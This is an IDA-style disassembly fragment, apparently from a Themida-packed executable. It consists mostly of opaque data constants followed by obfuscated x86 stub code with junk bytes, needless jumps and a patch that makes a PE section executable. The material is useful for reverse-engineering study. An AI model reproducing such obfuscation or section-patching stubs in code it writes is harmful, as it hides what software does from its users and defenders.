dd 3256ABB4h, 0D19B7FE5h, 0BF591248h, 325675A7h, 3256AB58h
dd 17010FB1h, 0C4256EACh, 4FE9AC25h, 370D17F6h, 0B3363E3Ch
dd 4D89E359h, 0F8D713DDh, 53375706h, 3240D9BEh, 0BE59AEB1h
dd 325657A1h, 3256A058h, 0F03F85B1h, 187C97h, 187FA5ECh
dd 32573DBEh, 0FBAE5DB1h, 37BF6D49h, 2B5657B1h, 0AFECCE52h
dd 93EDB5E4h, 3D515D16h, 32567737h, 53BA30B1h, 5436B13Ah
dd 0F8C6D30h, 6C99D6D7h, 0F6D5CA08h, 325F3C4Dh, 0B009EAB1h
dd 0DEE37914h, 520935A3h, 28EE3BD1h, 53051928h, 32565759h
dd 0D8D7F1B1h, 344E69BAh, 3256EC58h, 0E82511B1h, 3D69611Eh
dd 32565C3Ah, 21BF57B1h, 0B15657B1h, 0E0C4F31Fh, 28B9310Ah
dd 4D4A8A2Ch, 0FBA6CDCEh, 88DD65BEh, 344E2308h, 324F21BEh
dd 0B95957B1h, 3256ABA2h, 3256DB58h, 20A797B1h, 1E5546F3h
dd 12D0505Fh, 130B8B5h, 8D59CE78h, 36D85860h, 5456ABB1h
dd 530EEB0Eh, 325761BEh, 0B1AF75B1h, 0B659BA8Eh, 32565956h
dd 3256BD58h, 75853BB1h, 86B34993h, 0F1C10425h, 686EC1CFh
dd 504A00A6h, 3CBFBD3Ah, 7565DB1h, 4718AD44h, 7C81504Ch
dd 0F6728790h, 3E232A83h, 0B0846BD1h, 544CC2FBh, 53A1BF0Bh
dd 0CB5E284Eh, 0DAAA52E1h, 32565EA7h, 32532DBEh, 3D36D5B1h
dd 39371406h, 6FD37A71h, 5256BAB1h, 3250D0BEh, 0B159AEB1h
dd 325657B1h, 3256A459h, 0A062A9B1h, 0EDC70DC7h, 0E63F4F96h
dd 82897E9Eh, 6986E2BEh, 0DB5125D0h, 325657A2h, 48F4ADABh
dd 6B66AE8Ch, 0E78B5435h, 0EAF5B05Eh, 0DBF5DC91h, 32565DF5h
dd 325C46D1h, 9D5157B1h, 802E39BFh, 7FBA6BB4h, 325661BEh
dd 530875B1h, 52427D32h, 38BE9B3Ah, 5356AEB1h, 20634303h
dd 0A2C193EFh, 6D0C87E9h, 0CD7703D0h, 0B3368A4Eh, 7B8F4571h
dd 0DE8CDCD5h, 53055628h, 3DAA1238h, 3256AA31h, 0DB362CB1h
dd 3256EAA5h, 19AB04A1h, 655E4A40h, 7ADB4D4Ah, 14BB874h
dd 69ABB6F5h, 6CD01FE2h, 3E232AD0h, 31D0E5D1h, 545675B1h
dd 3DBF493Ah, 18565DB1h, 9EE1FE85h, 0B351509Ch, 0CF32D030h
dd 0CD379A51h, 3CBFE2C4h, 885675B1h, 4D3CDC58h, 99B1FD0Ch
dd 473FD330h, 3D61A88Fh, 3256A730h, 34DDDAB1h, 3D56EAB1h
dd 32567532h, 3A5652B1h, 0DB365DB1h, 3256AEA1h, 76A40E27h
dd 85B8E8F7h, 7D1403DBh, 4DD2A247h, 538F8031h, 0B6597ABAh
dd 32565D95h, 325724BEh, 0DBAF57B1h, 3256A8EAh, 3256C658h
dd 7FA4B2B1h, 9F697CBBh, 0BB43A36Bh, 759EDB73h, 707119B0h
dd 0CEAA123Ah, 0B059AC88h, 3256D686h, 3256FE58h, 0D87711B1h
dd 8437A5Eh, 0C43090CEh, 0B1102A90h, 13A617F7h, 0CE13548Fh
dd 36295649h, 15D2E5B1h, 0CB5675B1h, 325734BEh, 0B1AE5DB1h
dd 3D56A2CEh, 32564235h, 325042B1h, 2DE3D5B1h, 4FCA8F44h
dd 32563A58h, 0E6DCDAB1h, 0CDEE3C48h, 52A9514Eh, 3255D9BEh
dd 8D59ABB1h, 37EFB46Eh, 5256EAB1h, 3254F9BEh, 0D8DCBAB1h
dd 32565158h, 4BAB71B1h, 58560F6Dh, 0C640238h, 99A5B41Dh
dd 0A7E98CD1h, 0E0BF145Ah, 3DA9454Fh, 32565A33h, 33DFA1B1h
dd 0C75657B1h, 3746D432h, 321A51BEh, 0B159EAB1h, 325675A5h
dd 325C53D1h, 58F85DB1h, 0E4E80146h, 641E3F8Fh, 538520D7h
dd 3446AA32h, 32C06FBEh, 3FBF75B1h, 2256BAB1h, 0E09814D1h
dd 676066AEh, 7B2793C8h, 75DD5EF0h, 6DDD2CB5h, 0F2EF8ABDh
dd 531F9422h, 32577D58h, 75DDA5B1h, 20BF57B5h, 995657B1h
dd 0CC68626h, 0BE574FD3h, 433912D2h, 0CC818233h, 3E093114h
dd 0F2D73DD1h, 50970F8Ch, 23BE3644h, 8E56ABB1h, 0A3A7AF5Fh
dd 2B996790h, 0C7944BC1h, 0C4F1BE1Bh, 32564D58h, 0E294DB1h
dd 576BC351h, 0CD47A2E5h, 0D9543E9Ah, 0DB37B04Ah, 325674E6h
dd 32503EBEh, 0B9365DB1h, 530CFC62h, 3254DABEh, 5336ABB1h
dd 0DB52923Ah, 3256EABDh, 304A605Bh, 315987D7h, 1F96CAD9h
dd 0CA5AF13Ah, 3D5E088Ah, 32560B34h, 8559B5B1h, 0CA048B46h
dd 0DB52223Ah, 3256BABDh, 0EAC78BEAh, 607792FFh, 5F541ACBh
dd 3D46FE9Ah, 3256CA3Ah, 2BD3E5B1h, 0DB5675B1h, 3256BAA5h
dd 0DDBC7CD5h, 4D6CBB71h, 13A0317Ch, 74D5ED35h, 0C7725F1h
dd 0DB42BFB2h, 325675A5h, 0AC6A09h, 0B0E06E0h, 4EA15FF9h
dd 2DD0B2h, 0AB2E5459h, 0DB5A8A3Ah, 3256EABDh, 28FE3A85h
dd 5F505531h, 0B0596B53h, 0B359749Ah, 325657A3h, 3256A658h
dd 722C72B1h, 0F33C6295h, 0FBFA0607h, 0D9D5DDD2h, 0B3303DB4h
dd 0CE9A497Eh, 0DBAF0DD0h, 3256ABEBh, 36115E49h, 3256E758h
dd 89A4D3B1h, 725BE175h, 0BEEFF880h, 6DDD400Ah, 26D658BDh
dd 0DB56ABB1h, 3256D5BEh, 0D7B65972h, 15F7BCFBh, 0A5C3CEADh
dd 195156D6h, 0B1AEAAEEh, 35BF525Ah, 2D56ABB1h, 1223C6D9h
dd 0B855D42Ch, 3444457Ch, 3256B358h, 502835B1h, 0DB62C7EBh
dd 4DD51AD9h, 0B759A8A1h, 3256D5AEh, 325C0348h, 5DF675B1h
dd 0AE6D7B58h, 95386CCAh, 3ADDA1F0h, 3D5657B1h, 3256A937h
dd 1937B5B1h, 3FD2E568h, 0DB5675B1h, 3256BAB9h, 0B631D7F3h
dd 0C4A3480Dh, 33570B38h, 324C21BEh, 0B959D5B1h, 3256EAA5h
dd 32567A58h, 1F735DB1h, 0C9710BD7h, 2D8F1F1h, 0C3B88243h
dd 0CDA95409h, 39D1DA4Eh, 5256EAB1h, 6561A330h, 0D4D6A6E7h
dd 37EF3C9Ch, 0DB56AEB1h, 325657BDh, 62FCF26Fh, 0D66F69DCh
dd 72EFCB34h, 3FBFDE42h, 0C256BAB1h, 0CEDB2158h, 2DEB491h
dd 7F1E529Dh, 0CE69424Dh, 26BF2A4Eh, 756EAB1h, 4443515Ah
dd 0C56DA871h, 0C6D202A7h, 52EEA17Dh, 53E24F10h, 1EE410D1h
dd 0B330B927h, 536C2C76h
dd 3ABE1578h, 356BAB1h, 0BB8CA037h, 3D183608h, 0B90F9D0Eh
dd 2294CA66h, 0B159B5B1h, 3256EAB7h, 3256F9BEh, 0E2DDBAB1h
dd 0B93608D0h, 34DBA166h, 3D5657B1h, 3256AB33h, 0DEDDB4B1h
dd 0CE92694Dh, 34DD7AD1h, 3D56BAB1h, 32565D30h, 0E5DDC8B1h
dd 543637D0h, 94B26830h, 3256D959h, 1F4D51B1h, 52C63A3Dh
dd 2AA02578h, 3250B442h, 933FAEB1h, 0CE8D0976h, 32BECAEAh
dd 6856D5B1h, 0F3A70030h, 0B25973A9h, 3256BAB9h, 3254D9BEh
dd 5336AEB1h, 0EAE158D1h, 0B330CBD0h, 5349F85Eh, 4CEF503Ah
dd 0B15973A9h, 3256BAADh, 32D452D1h, 0DA56AEB1h, 325657BFh
dd 0B9E9722Ah, 1A67383Dh, 0D22D4FBh, 5309189Fh, 0B1A37382h
dd 0B6595D8Eh, 3256ADC7h, 325EDCBEh, 3D36ABB1h, 85590C0Eh
dd 35DD8B73h, 3E238A44h, 32573FBEh, 3DA35DB1h, 3256A630h
dd 30DB58B1h, 5256ABB1h, 3A232AD0h, 3256E658h, 3ED10BB1h
dd 26B338AEh, 1AAB0127h, 33D4A117h, 0CA5657B1h, 325A42E1h
dd 0DC81D5B1h, 999B88D2h, 3E4B4CC6h, 0DBE61BCh, 0CB565DB2h
dd 0B7596EBAh, 325657ABh, 325328BEh, 0CA36D5B1h, 0B937B5E0h
dd 0E1DC15B6h, 53A505BEh, 32564C58h, 0F5D55BB1h, 33DA58A5h
dd 0CB56ABB1h, 0CDA9BF58h, 77DF134Eh, 0CADD154Dh, 3256AE58h
dd 5A75BEB1h, 8F399A06h, 0EEB8D1E1h, 1980CEF6h, 7CA088A1h
dd 47A98BE3h, 47A98CBDh, 325953B9h, 2DC85DB1h, 0B817A795h
dd 5EB7D215h, 122C2C7Dh, 0CB612A59h, 32542359h, 39AA89B1h
dd 7D2B571h, 52565DB1h, 1EB52FD7h, 325ABF42h, 0ED62ABB1h
dd 0B5A3C11h, 0A1DD6E25h, 0B9300F6Dh, 5237E570h, 0E5E152D1h
dd 8FECC8D0h, 5DBF366Eh, 5256ABB3h, 54805ED7h, 53BD950Eh
dd 52AA303Ah, 325A524Dh, 675DB1h, 6C9D5C27h, 790D8D06h
dd 6CAA5C61h, 3D51ECD0h, 3254AF33h, 33DC7AB1h, 0CB56BAB1h
dd 3DAA184Eh, 3256AF32h, 4DD5ABB1h, 0B659ABB5h, 3256D5FDh
dd 325C63BEh, 37BF75B1h, 0CE56BAB1h, 98D7B354h, 325AD132h
dd 3264D3BEh, 0DA36ABB1h, 3256D5B4h, 2A416D2Eh, 0BB8F4EBh
dd 6D44F57Fh, 3245D9BEh, 3FBEAEB1h, 7E5657B1h, 76AFA990h
dd 0B8225E76h, 215DA9C8h, 7CBF14EFh, 0C756BAB1h, 0CDA9A209h
dd 27D1A14Eh, 0DB5657B1h, 3256ABA1h, 0D5974864h, 0BC25683h
dd 3AA265FDh, 3CDB9CBAh, 32565808h, 64E1CEB1h, 3DFDA4D0h
dd 3256AD3Dh, 8D30B5B1h, 0DB37B2A3h, 0CDA98B6Bh, 0CBDDDCD1h
dd 5237983Bh, 76822EE2h, 0E9E158EBh, 222928D0h, 94D2DAB4h
dd 5256EAB1h, 0E79BE30h, 0C8E0A72Fh, 2229DED0h, 8FD3A1B7h
dd 3D5657B1h, 3256A336h, 30D7DAB1h, 5256EAB1h, 3EBF34D0h
dd 4E56BAB1h, 74523602h, 0A2953FB2h, 0B9532EC5h, 0B159AFF6h
dd 3256D581h, 324403D1h, 0E44F75B1h, 0CE7B7146h, 0D866CBF1h
dd 6ECEA959h, 6312742Eh, 3256B958h, 3B552BB1h, 0E0F09257h
dd 5D8A9D6h, 930920Ch, 53EC294Ah, 525AF13Ah, 32564759h
dd 0A7E34B1h, 0B8892B00h, 806902C3h, 5A0E4123h, 32535323h
dd 56A55DB1h, 697B3244h, 5391DCD7h, 32563058h, 0B459B5B1h
dd 3256EAB3h, 43E65A03h, 361131D0h, 0F283DDD1h, 3E0925D0h
dd 0DB37A2D1h, 3256ABC8h, 0F0E9DAD1h, 0DB379004h, 325675BDh
dd 0B9F6CB4Ch, 0AAEE0A7Eh, 0F929E6B6h, 3D52103Ah, 3256A737h
dd 8830B5B1h, 0BB596DBCh, 325675B1h, 3E0931D0h, 32564C58h
dd 3A97AAB1h, 99B3747Fh, 6E77753Eh, 3C14DA47h, 6D7D88FEh
dd 32469CB5h, 0B4E4BAB1h, 0C738B289h, 18FF7F5Fh, 31E9F640h
dd 0D9D57AE9h, 8D59B5B4h, 0C2D78C79h, 0B1379607h, 3D55AACEh
dd 32565934h, 0CA1757B1h, 0C78F7C49h, 3357F738h, 325A57BEh
dd 0BA59EAB1h, 325675B7h, 32563ABEh, 20BF5DB1h, 9F56AEB1h
dd 72BEDA01h, 383FC73h, 0DEB19E11h, 98CD6E95h, 0CDA9CDFBh
dd 8BAF454Eh, 32565DB4h, 325224BEh, 613657B1h, 0BD59CAE8h
dd 3256D5B0h, 0CAFD194Dh, 0CDAB4C58h, 5237464Eh, 0F145BA30h
dd 0B559D9A8h, 325657B5h, 4A4B15D7h, 35BF1CD0h, 0C756EAB1h
dd 3070C3CBh, 3A94E5A9h, 0DB03A5B1h, 3256AEB9h, 0CB21BCCFh
dd 46311156h, 0B359393Ah, 3256EAABh, 23BE8DD1h, 1D56BAB1h
dd 0A646F15Dh, 0D43F19Ch, 77975C68h, 0B52F7D22h, 0F6D5B4E9h
dd 3258034Dh, 0A64575B1h, 0DF374C17h, 52856A45h, 44BDC183h
dd 77DDA2D1h, 26BFCBB9h, 556D5B1h, 582AFA15h, 0EAFBD09Ch
dd 0E04DD04Bh, 0F0A4CA3Bh, 0B9394410h, 37BF366Fh, 0C556ABB1h
dd 0FFD8C734h, 3D5AAF8Ah, 32563233h, 776D46B1h, 0FD152A1h
dd 0DB56AEB1h, 325657A0h, 0EBE6B23Eh, 7A5909C7h, 0AAF4C6C6h
dd 30D29880h, 3AD6B50Fh, 3D565DB1h, 3256AC31h, 0F53737B1h
dd 325657F4h, 35BFD5B1h, 0CF56EAB1h, 8B82064Fh, 4BF428Ch
dd 0C7565DB1h, 33AAEB76h, 0DB5657B1h, 3256ABB8h, 73599EB9h
dd 24C34761h, 324D9C9Ch, 0B459BAB1h, 32565DA4h, 3256BE58h
dd 0F442C2B1h, 0A9B874F3h, 0D23123B5h, 0C7253FB8h, 0B9AE14E0h
dd 0B35946F4h, 32565DBDh, 325027BEh, 0B55957B1h, 3256ABB1h
dd 325A3C78h, 6C9EAB1h, 189EE686h, 0BA9DCE9Bh, 3E945E4Ah
dd 35D6A1B1h, 3D5657B1h, 3256AA30h, 0C7032DB1h, 5236063Ah
dd 3D378048h, 3256B83Fh, 53373DB1h, 0C7AA6A32h, 32BEAFD1h
dd 6856ABB1h, 0F57B3F30h, 3BBFECA9h, 685675B1h, 0A8E63E9Ah
dd 96D6F486h, 3256A858h, 55DF77B1h, 0CE436F6Ch, 1A31C82h
dd 68018A6Ah, 3BB6380Fh, 6FDFDBCFh, 19EE3D4Dh, 53550B85h
dd 4CEFED3Ah, 26BFADA9h, 6C56D5B1h, 0B01C5EC2h, 3BB1EB13h
dd 38B48323h, 1BA36679h, 0B1BFFA34h, 0B659578Eh, 3256A9C2h
dd 324F57BEh, 26BFEAB1h, 35675B1h, 0CB5A939Bh, 6E41B66Fh
dd 0DA003F9Dh, 1B94FD52h, 0B12FB6E5h, 0B7592A8Eh, 3256EAF2h
dd 72E51548h, 3256AB59h, 0AEF4D5B1h, 492AA1E1h, 9E51FB60h
dd 0B954E06Ch, 530DBDD0h, 0CE422D32h, 0CDA9DF58h, 8B30DA4Eh
dd 0BA59B89Bh, 3256AEA3h, 32565B59h, 217435B1h, 1E5D8B46h
dd 670D8667h, 0B1372B3Dh, 3D56BECEh, 32560835h, 325D47B1h
dd 47957B1h, 3A8BA803h, 1956CA2Bh, 3E29693Bh, 9D27AB1h
dd 0DB56BAB1h, 32565DA5h, 12A6F745h, 11CE03FFh, 0DB83747Eh
dd 531A0DDEh, 0E1013A5Ah, 32562558h, 25DAB5B1h, 0DB565DB1h
dd 3256AEA3h, 1834F99Ch, 0CAEE1C4Dh, 84D244DBh, 965CFCC9h
dd 77A9C5B4h, 3CDAB54Dh, 52565DB1h, 3256A958h, 0E73858B1h
dd 46D672C3h, 269156D0h, 0CD5B0344h, 3CBF8A4Eh, 0DB56BAB1h
dd 54486CBAh, 0A3F83470h, 0E0C3071h, 222928BCh, 43D2DAB4h
dd 0CA56EAB1h, 34460A32h, 322C3FBEh, 0DBAA5DB1h, 3256AEBFh
dd 3B3112ECh, 0BF9861A3h, 9F50FA97h, 3D171C4Ah, 32566C3Bh
dd 21D3B5B1h, 0DB565DB1h, 3256AEBFh, 0DA592B12h, 7AD33E03h
dd 92FC5C7Ch, 75DD1E7Bh, 0B9AA80B5h, 0B836B6EEh, 0AEE3E377h
dd 0DB37AD17h, 32565722h, 324442D1h, 8F7CD5B1h, 2A6DA7CCh
dd 8EE1154Fh, 591D7E1Ah, 97C38F6Dh, 539825D7h, 0C752103Ah
dd 0C75AF43Ah, 32569758h, 0E5DC8AB1h, 53A1FED7h, 0CA52FD3Ah
dd 0DB5A023Ah, 3256AEB8h, 0FE6F43B7h, 0E6D30293h, 3609FE8Ah
dd 37BD694Dh, 3251F9BEh, 0B759BAB1h, 32565DB0h, 22292D49h
dd 3AD358B2h, 0CB56ABB1h, 6206B5F0h, 1937B3EEh, 32459C68h
dd 0A2F1BAB1h, 0B56E33F9h, 95A99327h, 105BAA7Ah, 4AE32B91h
dd 35BFB5BEh, 0F856EAB1h
dd 47F0C03Fh, 0BB377754h, 0DB575CEDh, 3256AEA3h, 0B88D2BDEh
dd 0E27639B7h, 24EBF803h, 1DD988F4h, 3D36D138h, 3256BC3Ch
dd 32DC52B1h, 5256AEB1h, 3256DFBEh, 53A3ABB1h, 0CDA96DD0h
dd 20BF154Eh, 765675B1h, 8704D02Ah, 0C202FBE3h, 94C87DE4h
dd 0F1436C19h, 325312C5h, 20BFD5B1h, 0DE56EAB1h, 0DD3BE01Bh
dd 0C0CBB6BCh, 0C5B7E371h, 5320FA5Dh, 52FDA4DCh, 3DA81CBEh
dd 0DB371306h, 0CDA9173Eh, 32567358h, 0A93E6DB1h, 53429BBFh
dd 325128BEh, 0B85957B1h, 3256ABB0h, 0CE135E44h, 32576FBEh
dd 0FBAF75B1h, 0B459794Dh, 32565DBAh, 3256A858h, 41DF93B1h
dd 620478D8h, 54AE5ED1h, 63371A3Ah, 325D9CD1h, 0F960BAB1h
dd 860A62C3h, 0DCA0137Ch, 6137AFFDh, 26DBA4D1h, 0DA56D5B1h
dd 3256EABFh, 0CE18ED08h, 1134EBCAh, 9E486A68h, 0DB0E24FBh
dd 325657A2h, 0ED91F398h, 0F722996Ch, 5A92C02Bh, 38F4C3EFh
dd 535B3A39h, 3256B548h, 0B30CAEB1h, 2A9CD35Bh, 3CBF52B7h
dd 0CE56D5B1h, 0E7280FFDh, 36EE0633h, 0F93E9D0Ch, 3244B44Dh
dd 0A485AEB1h, 0D8D920E0h, 2A2D8E9Ch, 549CEF8Fh, 7CB69C44h
dd 4D3EEF3Ch, 23BFBCA9h, 0C3565DB1h, 3A227FC2h, 6A30A03Ah
dd 8BBF9CEBh, 49A6CF09h, 32568E09h, 25D27AB1h, 0DB56BAB1h
dd 32565DA3h, 74A9B8E6h, 3C4B64B5h, 5A8A4221h, 27224997h
dd 83BECB77h, 525675B5h, 0D2457830h, 53A31978h, 6236A53Ah
dd 0BD90D6D7h, 0F3ECF060h, 53145F6Ah, 3CBF2B8Ah, 0F45675B1h
dd 2A01958Ch, 0EB70522Bh, 7523966Dh, 32CBBE55h, 31A3ABB1h
dd 0B336D1FAh, 575DE957h, 30D37A84h, 0B856BAB1h, 0F36D3C42h
dd 32922CBEh, 543657B1h, 0CB661A0Fh, 221DD6D0h, 31D1E5D1h
dd 3D5675B1h, 0DB366B0Eh, 32565DBEh, 7287E9A9h, 9C69A364h
dd 6B20D72Dh, 0B9E0EFA3h, 9378B7Eh, 16D47A70h, 0DB56BAB1h
dd 32565DB4h, 10538036h, 3270BE99h, 22BFABB1h, 6C56D5B1h
dd 0A9EABE6h, 39FDF4E0h, 3F13392Ah, 0DBD4104Bh, 3256AE3Fh
dd 32565058h, 860670B1h, 97216260h, 32569758h, 3EDC7AB1h
dd 5256BAB1h, 3256D7BEh, 8B30AEB1h, 0BF379706h, 2B6BB42Bh
dd 0E1A92DB7h, 3256FB58h, 8390D0B1h, 7911E88Dh, 0DCB1703Dh
dd 26F7EAC2h, 3EBF55C3h, 3556ABB1h, 47EE7FC0h, 0A5C83876h
dd 0DBDBB217h, 3256BA87h, 325ED0BEh, 0B336AEB1h, 77D8E072h
dd 0A8DBCAE2h, 344F95F4h, 36D5E5D1h, 545675B1h, 0DB835C0Fh
dd 32565DBFh, 0B07A7904h, 2551EA15h, 0AF9E2729h, 0CD37B0A7h
dd 0DB0D1F62h, 325675A1h, 0B6937CC0h, 2AD20E2Bh, 0AA25CCB0h
dd 6AB81D49h, 325342E8h, 0C955D5B1h, 6AE7CDCDh, 67AAB64Dh
dd 3256AA58h, 30EBDCB1h, 0E73682CCh, 82ECD1A5h, 0B506CF81h
dd 0DBBA5E0Fh, 3256EABDh, 5C8E444Ch, 0E96156F9h, 8DC52156h
dd 3256AE59h, 0D8D70DB1h, 344E6736h, 32513C48h, 0B1A6EAB1h
dd 929F9EF9h, 0DB364202h, 32565DA2h, 40EA3E0Ah, 2F75F6Bh
dd 630B263Eh, 1D0E54BDh, 0BF14C3C9h, 2A291D0Bh, 6807DAB7h
dd 25BCDB0Bh, 77DDCFA1h, 0B35937B9h, 3256ABB7h, 0DDFE0530h
dd 0D2D7A5D4h, 69AB7570h, 0CB5133D0h, 525A183Ah, 0DBA519BEh
dd 325657B9h, 3942A386h, 65CD303h, 361163D0h, 325AF0BEh
dd 35BFBAB1h, 34565DB1h, 8FC3D47Bh, 77DD98FFh, 3EDBA4A1h
dd 3D56D5B1h, 3256EC35h, 32D87AB1h, 0BB56BAB1h, 0B85951F6h
dd 3256AEB0h, 2613DC4Dh, 22112244h, 90EDB3D1h, 0FF045297h
dd 53370D2Eh, 529FDBD1h, 3B85DCD7h, 131B14C0h, 0F0375337h
dd 21BFABA1h, 956D5B1h, 7E05E872h, 1A576B23h, 0BC9DF80Bh
dd 24B9CD55h, 0C73661F6h, 2797D277h, 5211ADA3h, 53AF62BEh
dd 2525F0D9h, 87A98D19h, 34448BB0h, 3257D8BEh, 0BFAAAEB1h
dd 27D42D34h, 0E2A952B7h, 3256C658h, 0F30A30B1h, 0B3E09A81h
dd 1A8E2113h, 0A2C2C88Ah, 0D2D0048Eh, 2ED858E3h, 5256ABB1h
dd 3256C759h, 0FDB05B1h, 9027FAD5h, 0A008D69Ah, 82300259h
dd 683CA57Dh, 0BF3736D1h, 2AD6723Bh, 8559B5B7h, 0F0E9E561h
dd 3D3624D0h, 3256B93Eh, 0F0E152B1h, 5AA72FD7h, 0E2A936B2h
dd 0B659F149h, 3256D5B6h, 0B20CB9D1h, 0BF376761h, 2AD66333h
dd 0B8593DB7h, 3256AEB3h, 0BCEF7702h, 53192F42h, 3E1662BEh
dd 3256F858h, 5ADA4DB1h, 528E5947h, 9DAD7930h, 82098C03h
dd 0B979AEDEh, 32474269h, 510CD5B1h, 61C6121Fh, 12307A6Bh
dd 0EBE8D295h, 60D86335h, 0E4D7C8D1h, 883069BDh, 3D3723C7h
dd 0BB59B580h, 3256EAB7h, 3256F9BEh, 0B930BAB1h, 0CA0C3C7Bh
dd 325722BEh, 31AF57B1h, 3AD6A472h, 3D56D5B1h, 3256E838h
dd 0BB3715B1h, 20428333h, 3ADB52B7h, 3D56AEB1h, 32565530h
dd 5337CBB1h, 3256D858h, 0D0A360B1h, 425F55Fh, 2DC2F06Fh
dd 0DB95412Bh, 3256AEA1h, 0E7CBD67Ah, 7525949Eh, 0F9057AB3h
dd 0D90C0988h, 0B9666051h, 0F2806938h, 0F526142h, 158Ah
dd 0F830F00h, 0E9000000h, 0Ah, 0D84B634Dh, 64DFD878h, 0E8EA21h
dd 5A000000h, 0CEE1EA81h, 0FFC0618h, 0A8Bh, 0C2B86000h
dd 801E6EA7h, 5261E0DAh, 39828BF5h, 0E9061214h, 6, 0CDD1F8Dh
dd 6DB9744Dh, 0E941C64Eh, 0Dh, 9ED84147h, 40C24B1Dh, 0A30A5F1Ch
dd 0FE1F7F7h, 781h, 5E506000h, 61D0B70Fh, 6E95Ah, 9DE40000h
dd 222DA9DAh, 303905h, 0A870F00h, 60000000h, 8D0Fh, 61600000h
dd 0FFFF2561h, 12E97FFFh, 6D000000h, 40349AC7h, 2558671Eh
dd 43ED76B8h, 0ED13409Fh, 9E93Eh, 0BBF10000h, 1D23061Dh
dd 8917653Eh, 12143982h, 78F0F06h, 0F000000h, 18Dh, 0FC5AFC00h
dd 10E959h, 9B020000h, 150C0578h, 84161AAEh, 1819A7BDh
dd 0FCC3D27Ch, 0AE96051h, 0A0000000h, 3BC1E96Fh, 6E317B9Ch
dd 8E9A7h, 0BC660000h, 48201A48h, 5261FF1Eh, 0D78060F5h
dd 0E861B4h, 5A000000h, 0CFD5EA81h, 0FF80618h, 1083h, 0BE900h
dd 12AC0000h, 5054464Fh, 64032B17h, 5E9C5h, 193D0000h
dd 8BB51C76h, 0B1E8F9C8h, 0E9FFFFFEh, 9, 1514D235h, 0B4B1CE66h
dd 0F5D23340h, 8BF9F1F7h, 0E95AF8C2h, 14h, 0AB454959h
dd 0EA0DB52Fh, 3BA2E123h, 8CC7EF67h, 0A6EE70E9h, 12810F59h
dd 0E9000000h, 0Dh, 93D35825h, 6948C144h, 2FDD286Ah, 11E977h
dd 0EB370000h, 0B6B8E5DEh, 0F8613B94h, 83BD884Dh, 0C3B40D07h
dd 14800Fh, 0FE90000h, 4C000000h, 8949F55Bh, 59C912CEh
dd 89590FF3h, 8C0F08BEh, 1, 0FC08BF9h, 1989h, 0FE96000h
dd 2C000000h, 1B1F9B37h, 3A779671h, 0EF2378D9h, 0BF0F2D63h
dd 0C08B61F9h, 0AE860h, 0F8360000h, 568B19C8h, 162BDC72h
dd 66596160h, 0D506F281h, 0DF8B6061h, 13E8h, 0FAA4E00h
dd 0AA2D61B6h, 0F05199ECh, 0C50CD5A8h, 0F9C137A2h, 8D615BF9h
dd 1896F285h, 14E906h, 1FA60000h, 0BF00F3BCh, 0B177B368h
dd 0CE62AA03h, 9174EF5h, 0D0FFEB62h, 0C18B66F9h, 0BF0F5060h
dd 800F5FC0h, 2, 8D615B52h, 18CEB685h, 8589FC06h, 61215F9h
dd 19C88160h, 602D9EA9h, 8B66D18Bh, 0F6161CAh, 187h, 858DFC00h
dd 618CFAAh, 0F38B6060h, 14E8h, 0B26A7B00h, 0B8EF922Fh
dd 32967240h, 3DDAC975h, 0B5F35F1Bh, 0F615BE9h, 0F8Bh
dd 9E800h, 5C250000h, 0BDBF3B9Ah, 5F5A7C60h, 0E5858961h
dd 0E9061226h, 0Eh, 0AC1D99B0h, 6FB4F653h, 7BE89E3Dh, 0B8FDFDh
dd 0E9000000h, 7, 19DBC189h, 0BE2D934h, 9D840FC0h, 0F8000001h
dd 11E960h, 12730000h, 2CF574BCh, 0ACE78B98h, 6FE55FBDh
dd 0E85063E4h, 0Eh, 6FEC608h, 7C3611CEh, 3F71ED0h, 9E82C50h
dd 6000000h, 624131A4h, 7D782333h, 0C6615B5Bh, 1215C185h
dd 0FFC5606h, 18Ch, 0DF68FC00h, 0F5A9C530h, 3101B5FFh
dd 860F0612h, 15h, 0BE960h, 5CC60000h, 88612B0Dh, 3B80E621h
dd 8FD2808Dh, 0EE961h, 0AB640000h, 1D31A8ECh, 2DBE5474h
dd 168B59B1h, 827A858Dh, 12E90615h, 0B4000000h, 95E3C92Ch
dd 0D659F2ECh, 69689537h, 5D92254Ah, 0D0FFFC70h, 88B0Fh
dd 0B3600000h, 0BBE66ABh, 0F506188h, 184h, 8D8DF500h, 612293Dh
dd 1850Fh, 0FFC0000h, 158Eh, 0F840F00h, 0E9000000h, 0Ah
dd 0C64727A2h, 46EB5FC3h, 60510678h, 46A61F5h, 8C0F5660h
dd 0
; ---------------------------------------------------------------------------
pop edx
mov cl, 99h
popa
jns loc_5E8D7B
clc
loc_5E8D7B: ; CODE XREF: Themida_:005E8D74j
push 1000h
jmp loc_5E8D94
; ---------------------------------------------------------------------------
db 8Eh, 0D5h, 12h
dd 50B68C3Eh, 0AC38319h, 4AF45A2Fh
; ---------------------------------------------------------------------------
loc_5E8D94: ; CODE XREF: Themida_:005E8D80j
pusha
sub ecx, 1D4B80B5h
push eax
jmp loc_5E8DB2
; ---------------------------------------------------------------------------
db 0E5h, 1Eh, 0F2h
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
db 2Bh, 8Fh, 5Eh
dd 0A6761313h, 9DCEDA30h
; ---------------------------------------------------------------------------
or al, 8Dh
loc_5E8DB2: ; CODE XREF: Themida_:005E8D9Cj
pop ecx
popa
push dword ptr [ebp+6122461h]
clc
jmp loc_5E8DD2
; ---------------------------------------------------------------------------
dd 21B46085h, 0C3EDF65Ah, 0ACA12CCCh, 8310D1F7h
db 28h, 3Ch
; ---------------------------------------------------------------------------
loc_5E8DD2: ; CODE XREF: Themida_:005E8DBBj
call eax
pusha
mov dh, bh
popa
mov edi, [ebp+6122461h]
jz loc_5E8DED
pusha
mov edx, ecx
mov edx, 5B9F8C7Eh
popa
loc_5E8DED: ; CODE XREF: Themida_:005E8DDEj
add edi, [edi+3Ch]
stc
add edi, 0F8h
jge loc_5E8E12
pusha
or si, 0BAECh
call sub_5E8E10
sahf
mov dh, 0E2h
mov cl, 80h
fcom st(1)
; ---------------------------------------------------------------------------
db 8Fh
; =============== S U B R O U T I N E =======================================
sub_5E8E10 proc near ; CODE XREF: Themida_:005E8E03p
pop esi
popa
loc_5E8E12: ; CODE XREF: Themida_:005E8DF7j
mov dword ptr [edi+24h], 60000020h
pusha
cld
popa
lea ebx, [ebp+6120849h]
jmp loc_5E8E39
; ---------------------------------------------------------------------------
add edx, [esi]
jnb short loc_5E8E37
mov edi, ebx
and al, 0E5h
inc esi
retn 0BFADh
; ---------------------------------------------------------------------------
aas
retn
